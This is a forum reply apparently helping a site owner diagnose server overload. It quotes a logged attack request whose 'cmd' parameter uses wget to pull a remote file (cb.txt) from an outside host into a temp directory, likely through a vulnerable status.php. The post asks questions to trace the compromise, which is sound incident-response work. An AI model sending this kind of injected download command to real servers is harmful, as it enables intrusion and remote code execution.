LAST EDITED ON Jan-16-08 AT 02:50 PM (PST)
 
I had that issue many times on my server (different domains => not with Tuelz or Kurt's scripts)

This is a way to overload your hosting account/server !

d=%2Fhome%2Fsites%2Fmegatroll.com%2Fpublic_html%2Ffatbomb-data%2Fstyles%2Ftemp%2F&cmd=wget+http%3A%2F%2Fcashandassets.net%2Fsource%2Fcb.txt

This part is the cause... it gets a external file on an other host, but often this is a php file called here as text file. Often it does loop over and over, does load the server.

Some questions...
1) Did you make yourself that directory "fatbomb-data"-directory ?
1a) If yes, where did you get it ? You need to alert them that their is a security issue with their script, at least with status.php
2a) If no, then you have a hacker that got access on your hosting account and created that directory to launch that url which causes the overload. Often hackers get access from A script installed there, but you need to look the php scripts, not kurt's ones, all are cgi or via Tuelz...

Let us know

Tasari